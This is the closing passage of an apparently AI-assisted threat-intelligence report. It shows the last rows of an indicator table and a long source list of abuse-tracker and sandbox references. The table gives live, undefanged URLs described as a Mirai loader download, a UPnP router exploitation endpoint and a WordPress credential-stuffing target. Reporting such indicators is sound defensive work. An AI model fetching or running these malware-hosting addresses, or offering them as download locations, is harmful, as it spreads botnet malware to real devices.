| `http://165.22.252.236/windyloveyou/windy.mpsl` | 165.22.252.236 | Mirai loader variant compiled for MIPS architecture [cite: 31]. |
| `http://172.105.186.117:49152/upnp/control/basicevent1` | 172.105.186.117 | UPnP exploitation attempt targeting consumer routers. |
| `http://172.105.186.117:8080/wp-login.php` | 172.105.186.117 | Automated credential stuffing targeting WordPress installations. |

***

## 9. Sources & Citations

1.  [cite: 19] Sentry Global Intelligence. "JavaScript Malware Activity." Retrieved from sentryglobalintelligence.com.
2.  [cite: 40, 41] AlienVault OTX / ANY.RUN. Hash analysis for 01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b.
3.  [cite: 21, 22] SOC Defenders. Threat intelligence on IP 103.56.149.224 and associated Cacti payload drops.
4.  [cite: 25, 27] SOC Defenders. Threat intelligence on IP 196.251.107.133 (Mirai ELF hosting).
5.  [cite: 26, 28] Scumware / Futex Tracker. Analysis of `/bins/sin.sh` and `/bins/pm68k` botnet binaries.
6.  [cite: 33, 34] SANS Internet Storm Center / GitHub (HoneyNet). Analysis of hash 199d11d0... related to DShield honeypot data.
7.  [cite: 9] NadSec Online. "Redis Honeypot." Detail on Redis SLAVEOF exploitation techniques.
8.  [cite: 8, 39] Sentry Global Intelligence / Vulnerax. Loader analysis for hash 1b20a210fe96e5a8abc347dfb91d7befecb4b5f9b7ed40d856410fac15952057.
9.  [cite: 29, 30] AbuseIPDB / URLhaus. Reporting on 165.22.252.236 and the "windyloveyou" Mirai directory.
10. [cite: 32] ANY.RUN. Malware analysis report for `windy.x86` (Mirai loader).
11. [cite: 3, 4] AbuseIPDB / IPinfo. Data Center and BGP analysis for AS49870 (Alsycon B.V.).
12. [cite: 1, 2] AbuseIPDB / IPQualityScore. Residential proxy and botnet reporting for Brazilian ASNs (USBINF, Led Internet Eireli).
13. [cite: 22, 23] SOC Defenders / URLhaus. URL analysis for `/cacti/ns3.jpg` masquerading techniques.
14. [cite: 10, 11] IPQualityScore / IP2Location. Analysis of Alsycon proxy endpoints (194.50.16.15).
15. [cite: 16, 17] Netify. Details on Datacamp / PIA VPN infrastructure (158.173.21.216).
16. [cite: 5, 14] IPinfo / AbuseIPDB. Cloud abuse reports for DigitalOcean IP 138.68.145.7.
17. [cite: 37, 38] MalwareBazaar / SANS ISC. Coinminer association for hash dbb7ebb960dc0d5a480f97ddde3a227a2d83fcaca7d37ae672e6a0a6785631e9.
18. [cite: 31, 42] SOC Defenders / URLhaus. Threat intellignce for "windyloveyou" Mirai URL structures and Splunk SPL hunting queries.
19. [cite: 35, 36] ANY.RUN. Malware sandbox analysis for CoinMiner hash 048e374baac36d8cf68dd32e48313ef8eb517d647548b1bf5f26d2d0e2e3cdc7.

**Sources:**
1. [abuseipdb.com](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQEE8fQoycVgL9Vnd17EgMG144cmXtx_nKrNn8c7dy9gBboEqp-fXTzj93-Nbnmnj0CGlI_BIX2qFcjs75oSk-y9iNriGpc0-A0A_7tZ5MmJweNHIHPEG2tlEfbMBKvbu1NQ8JI=)
2. [ipqualityscore.com](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQEdvcOBCb9YKcNAoAILcZRPhfdNIHbjnCseTJQxdkZ0znUuurmHhbBLFh-mqmzLDRvESry-nXY0_az0TpOeRNxFZAoGC_z6ll24OIm5HIM-L_7x9ncJva10BIbIh_Q_1IVdjg6cKWnqdf9SnNmKyQUS9k8-LG0kyDx0_TUUFRhQ7n--zw==)
3. [abuseipdb.com](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQE-1Ua-e1QOSvJrLz5mRDYTjbimj4zqYx3ttw5fB7EUzCQhU2DA5ImD1xLK7gKGkLA8IR3WdOF-0VAhz8WFY67B00P7Agu354MZ29Vg-zo_08DdKNXtKz5jog9YhGO8-7is_w==)
4. [ipinfo.io](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQFSh1iJTZEGYoL8zrWktFJ01apAiZwM5FOEvtLOvwUUzCQz3RBY5zAZXhoNkXku6Ab5Abf1xtdMZHrOO4fqGZzqqWu6iiEgdda7MNkARXo=)
5. [ipinfo.io](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQEy-lzcZ_9-37AqB59ayzLVOC2_z2_wVj1rchEDy3wmG6g6SeJbMtMi9RCzuVMpm8ZglwVQEKjUk3rZW5xUqXk3U9LtVeQkyRwuAHlK4c_nH_oDv70jhBzpCNI=)
6. [potaroo.net](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQG97HHwN8QkBbRZ7u-iZV6nNaInzsj64BA447Sw2ZgKKlaUdGdvLFk-U4EupWcA0q6W6YRzP9GDV2NTijWKgZoRBeh573eUr24haR1KFJ4bilE5oX_cQZC_GLo6CAXk7OJHMj0WIQ==)
7. [ipqualityscore.com](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQGVu-7--JzsttomhduGQxRBip-8oTzH7QuNz_7ZEi8gZETe9QctG2R08Fi_3Q1ect-XEdaIYTijfsOsaOgDNA96UNMg5c0fY5j7IP3lXmDMSbVt14V5XOV89O_q6anvjeStOuZlta-VZYM2KB2LECQeODQigcVmzuXy4fvqB0k7W1GP7LZ4)
8. [vulnerax.id](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQH_2MkNfUtUq4Y9n-Zmd3cFvvzJnm902aT8RSzq_pXo_57ElP-qA7kFMt741YmkFoQ08-S9Qu5GtiMpUU8iMCujnOm1YYUVqU-lRVUoghb0ej9af0uaRzkCaAuunknZ_iTAuBa_Kv8UEF9pq24uYKfWpjiD)
9. [nadsec.online](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQHL9hQ68WgbGku5JActIfk4jncQCDrmpGAAjPvzxzoLaWpYwfYHv3gqSc9HXAtkt0ymSbTFHgXoLtdqicH0iYO4MCdpuDOgu_UJLjvfY65ZSP3KZnTEUrH6C4OMbQ==)
10. [ipqualityscore.com](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQE_QtgJd_-3imMDkahzqyZBYqbxLtl0-hmvMnk5vCeY7EDGoe5dZDuVOqm72ZgRzi5cRklv7h4637RV-SYdZfi95CitMkBHvPcQL2wi3RXyfAEPGQGN188qkDekXp_p0nU5LRFWJ2jBZzTctSSfsXNAb5eGWv0DUhiI9_0IdAzS65xlCoFQ)
11. [ip2location.com](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQHomvAV_gBAy3Z2h_Z2RQ90QjxoQ3OT8GjDGbQ9jYWtagNIaXTzeltG_OI0gcKV2d-7qsg2S62GJkQVk7gMH9-rIAcJcBY0JjkWFCLZVW8Rv_WahBkoXrFylXFJAw==)
12. [abuseipdb.com](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQGQMI3oNU26CmsGQbAQAHGWjjaTBicU8stCcfhPrrKQtICCVY7AgzI2yjjn5ssG-4jSOygvAY5smc8ddYwonA9WLNeQhkh0YTV4LFCXiPPX80mh7k1UZRbnb3GwBzbUavRqNA==)
13. [scamalytics.com](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQFmonxIFLWdg-YC6ZBUjMprzCAJWMtpT7yvPn-fYpUNc_zcPYsUUnNjSYw8T9XuBKmCZ8jY6wE3gRTDNZetRX_EtNrkF3gKv7lxOG83eh2UltuWWIgsoj3uL3Fy5rfBmA==)
14. [abuseipdb.com](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQFMu5iBo8euhKLVwpZmAcGAY0lJYA-AIpbEfflrw_0ai2sVZ1Nr2n84HXf58OyJzhRzVnzMxe_EsKp93K3_DIF2Rf5GTKMec4C7dUBHnuZRi7NsIv1s-CdONaPZFxgyo74iCJe0FSF7BA==)
15. [threat.gg](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQHGAMbQBmQK6Ujh0T8gMcNWLgCbJZzEpL81JJ18OEbqYLa7wU2A1XvM0NUCFYxxWz3HuQAJLJoexCz5rDGvk7KcSjIpw0Ct-DdTaQeG8tinT0ioV8mbz1Ac8dH0dLm0o-xbIPAzs-_zytTuoLsXGmCyafZ3haw=)
16. [netify.ai](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQGC187Cci4HVyM3je0UhnL_42Pq1S70kE80HgT5OFZBRedE6SsOdnjV2lEPWRldFC9kPcoIY006Y2DDEoXKtnsakGl2AeVP9Qtrl_4Q_AAaANhVrjVjFP8fHB5I6ZecDn6RApBd5hw_)
17. [netify.ai](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQHhCvD_0Cki5c4pNn6OwRNqq1VbRLhKiMvUdGC1HL97Nm6doqybpzcyhJm6fuFT2JnPpFna9_Y79B9xUFTLiDI7Ofh1uOdfO7CnS37Igznwyl1MqFkcJWSz7-dKJRzs81Sy0S4bOjxXJZUyf_6k9VDsgvy3)
18. [ipregistry.co](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQGC_IGTmGiO3j0C4459i9SHz-pkfStvr_VGZVirCBtQUOJEMgGI-CB61Eb2Epv5PF3NQ_Mz8voSBZS1RV4pK7OIugpVY5jb0cUEJ4S8BbuTF3-xL9G1f_f1_8qubWBuSmviuKs=)
19. [sentryglobalintelligence.com](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQFY_3Bd49z5V8XQlW98OzGeZiS0QpjLo3TfrYvihx7zPZkMj4xbFpMkrLFEHLu3Tz5isoN1EeevVN8s3E62YBqCKLFuTLuiPSieoKwXvaNTOwauGX5EitgZ4LDESSg5B4BJb4ggGZOXcgAY2t0O-qpkOhm6Ed2F)
20. [potaroo.net](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQGvOBTufkmRmyQnEPFL9XqPAIvKBl-cuZ-2-ZGEjDL8K3biIZ2gt37qLzr2o0PiG4kF_2jl0gPSRPhmHxyZTgxOga4INl-QfaXUbyfEaMGZUKxQsOXk4SgFrJwrhdSSx9c26w==)
21. [socdefenders.ai](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQHz09AUp_PM7kbfYwGPreHDhEDEh-g90QLLp1Lb-EYJxy-gr1htgrpjpxQeeBRQaXJUbeSOrixoPYPDJy8Ou2aBTJiNvPWExRY4Dj84cqwkQjw_v1gUOv1pkSE6Fi9wss-_ZB5XO9kcJWcB6MfMLSqulj5qVYWHaYwPkN0Pfw==)
22. [socdefenders.ai](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQEG5HRjDngKwz8wIDAjHOWut1cDtEqk0JzcxsJFoUkjYAusmG0fArKXe5yMIOqdRAzkJ72_wH5fzCQ2yPELpsi3vL6GTuG45t5a2ID6qV8v3E44V1iLxKgsP1cJEi9BEpzrJD7H2lDJ5VA0V4v90QX0MEF-94WjNdBtiLUzzA==)
23. [abuse.ch](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQGlC2Q5lUpJeHAvnGtlaE6Tu8ZmekXylEH1iQFtfoKpbyl4YH5pfJscz8f05tiM9-9BmHKywIK0egojs-mgsN-mpcqTRz-BdoUoeL8YLki0UISWEo2Zl80KYASMbETjcsctqDc=)
24. [socdefenders.ai](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQFnJxZqJ82Zosy4SPT1c0DTAAHyWv8PfFqgzTxCp5SxXwy8yxs4Ie_VM0mPetDp9XzE9X4uSSbSKBmXmQeW2Xlc8RIO7p_gHd5tRyntXrdOdTS6r9CWYETZzOM-fGeb4bhRyaARXdw2dANh00b4hbijauuwMQnjcif0VFNfXw==)
25. [socdefenders.ai](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQGHGrVRejmzFv9H61w4Tp1b9ZLz4shHuO56SHV80fx2kPqr-IzzZWqxh-Kaf4xf7B543rY0VuWEvB1SSxFc-6hAwBpSyy_m6hLaM2G7rAqDCXNvkoUF79PtY3Zkeobi1LhGuWsfEWunIc1p2284-FZG0BBBth5r72Be10Dw9A==)
26. [scumware.org](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQEXxbzljiRKVGhRPh6UUdx-MiSN-iPuXptu6PkCfivSbzhHryVYgtwIBFQwafyucX-gGArgD_A20lCS3WfV7gPjfi9jYTn0-1XVsUVGgjkB-E6tlbS06VxcWwbOHtsX8XFs16uNXAF7f6A=)
27. [socdefenders.ai](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQHl2QOTLWkWb3qSdPWKziFMcnP2l76JnjFtTPueAMBg6EJwPxHw8fnvJ44OICcA9WloHI-nYsPZl0vpi2BRYKpWvoewor8h6IxaipcirZkYpNOsZqhcHij9iPWU4z1DTagYAHmVjQ8I4E76cF-ZfDcZVuX3pO_XZN_xiOktuA==)
28. [futex.re](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQE8LxqFRYqv2QohN44WsNBAEKDEwxEqMWdqlMTRwQINGNlmckekJfv1zHkZMLnR4iLVLQh8wkON7lwV4PsyF12cnUjSZ5--KZ-Fm-gFpVJQ-jAruGH_waw=)
29. [abuseipdb.com](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQE5EDoid_6I21v4_cpFce3oFKkmSOAYGuKj0cL8m686_2bTKShbmc5NW0aaNOU64RDAyBx0zlbYW-8CXwIo_Lc0OhXVrgeyTGFPucCgr8WnJ4Sjv3t-cB3OGQ==)
30. [abuse.ch](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQGFgiHg0NwHIiLP3FjrmBDhdqwtgERTpmkx7hmR3A9GjFVSu3mZkfvhzmupklLe39iCgIlgmnO4SzcsrvnhfS8Y0-N9-qvsIAgR01xB_88a1D8wphiDIoHo1xR8iSU=)
31. [abuse.ch](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQGNOAhu8dygWwKBxM3GYUqXc2mO6TEepe-9BKiyCDwK05C9wcQQPpfSTFh6INwROljSd3DEZSOBLM1VcOVqWnqz5d3myHBJZEYKeDvSQk3qYDw_y4o-2yTRoSI=)
32. [any.run](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQFZ8zmFAFY7wJwCkflxsebNQwf77UYJu-IZ91h1xSJ4UrhOPnBXF0_8deco8kSz_9FqtvOKTHBf6P1P850eTfzXjw8404-mogqItZcoSFPALXij8Y4z89UwoeguVZnCQBRtinK3AOhIxDY26QYLv9EnnDyuJTFN56TVsuW1btBtqlwyzpzqNNo3DEB8B1Eto3rgJe3wkQoxGB9yfnVwxWcqDNZIA6WyAXgMybqw-Yy-2zs=)
33. [github.com](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQHUfO_hG0fJKUzN4MUIczQrfJiuPzNqBaB_DsYzS8uZ4kC3VXG4Z9KCzTGUTriD0zX6me_d7e2u9FCdjulYeftJTF_DUbpahMNvrCqPGNPpVNch66hirGetQPEKNONOSOd9OScIjNTbtHCHgA8E3mUOSYKBv3EZ8IJG-Q==)
34. [sans.edu](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQEkPY6owsPFKNMCYxpgj38-1EabVmZt2wulLFn0R5vibYqZtKaCEtRC8yARZXpXp-3MBZkGcaSWCNgAZB4oFwGCxOSnfH_gxjzVcpgU4wEFQwU8MxBY)
35. [any.run](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQHsKDDshyuAQ1Y9KfFBa58_S-mq_kCBBxzJkXXbPZ4O2omzI0P7H168moJSNGtnXTMakW4Eyc-tCOmqAO4VRjmM4CfWHAE94SGgvly4jFBxyZ8uPmREYiZAdPmC51_xhWNWzpFt86W5xtNRi65Z2lDVMIKbDicnnaSuofvGbzBaTOpi5hnBqHz9HRj1_u_WTlTMndGf60H13WTcx6g0kpFtIoLufy-mwUEy9ZJqfpj06do=)
36. [any.run](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQG8GmWvEP75tqNG14Q1WGOG6-0cEHan4N1eKhGIxchOOVJ5OQAMx8mDwmtR_S0yD8Ak2ang64ZpO2Mc2uBFttyxSzrA1J52qdxhtJsvhAD9RC2P6uM8jHZ8kJQ6PygH98Mwe-GJn5FOt2MHE41lseDHJaSLzNJ_nSKJaF-CC_m0wFof-qSPDelIqJymmuRRtIsPLofOUbsAqxxyvORSGzihjx6k7S16xMS4nCXWDaNifVg=)
37. [abuse.ch](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQF07xs-KboiPeirSzafBdxNG3nzjD0cWIC0gB_4gCkzu9B1YiaJw1tqOFEBo8zVjk6vUS6khaHLE5ZeWHezdO0VyYTK4m6MPBYwJlxPGVj3hVNjHpBxhbE5sTqp12eYxk_tcCu6k2tIw3rvJKb9u9YJk0b3w6EyDWcaVLu9T6xeurhok10r0z6Ex8NAMH0RY3KkCcWSNA==)
38. [sans.edu](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQEPXmtnsdM1a636gOlyaMzceFMap777gpUg6fE5py0rmuwRiz9v8vYxZZpbZCIxdLWJklM2eBvh_SlKWaHyOgFMDg1xBzwaudKEYzf2EUoKx7pVGeBT)
39. [sentryglobalintelligence.com](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQEUVlG7ynOR8zx58paNqm2FVk23PORfZrAOOAwYlpfvQepTTScEffJ9A3Kabef0cQoJd56nEDUmdIZ85X3_uGB83OkN4juUZPjkkrh-E1lIgOHFdUAD0ov0flX7n8RJZ1nNHbAPXR9q4jGIos_cFJpWWQloGTu3nnd2rSI7FE-v8Mbu)
40. [alienvault.com](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQGAuYcLAVMhp3zf_mC2fawLCnHN1bltiOQtHTLZ_qAn9l85Mh_sUmIyZOTVv_WhkbdWYeDk6SbEhEkpFy61gUO5B3RqI7uT41Yg1wCcbVLcjkrG_0KxzLg1nc0QkEEuWy8TQtVm0VUOKbvc2I95SonehIaVmt9kT5EcNnvf1Lsdd3ZIjN-DxVlrBOGyVzMe4RnK6XHQyvaFeEhjt-oBgGY=)
41. [any.run](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQG-OPU1oYwUpPeNyWQp3qs3ihD4qJBbY4j7nD-k6HAYKIlAis-I5CeqTOlQqPml79k2DpEO3A_pm0siuyqQz3QG1LlW0suFKUYh06lSImprTJjs1ihATX5GG_OEP6bXbcxm6t-IMZpokkznXgwPprtAAq9tMs4kYyC5ovHURITEufmA05yWxz9qKbPoDWE24y4TjSUEHiWbpOugdNWMSOiiDlLf_DilOFOGXypYkxrOHSI=)
42. [socdefenders.ai](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQGUrEJ2M8hZBuqXWgpj8mES5kINIQ1jCUMC2kR9zBOfS2XLw_L9gRETv_IUq_k5vF6hxmHM7DjD51HphFKdqUUQhw6U9v1C3jay8vCtZrDKZKfOCU6usjdfDODpVlwLERPdh1gh2JQY9A93VFQNvIyqAep1bUk-kgjlUSvMeA==)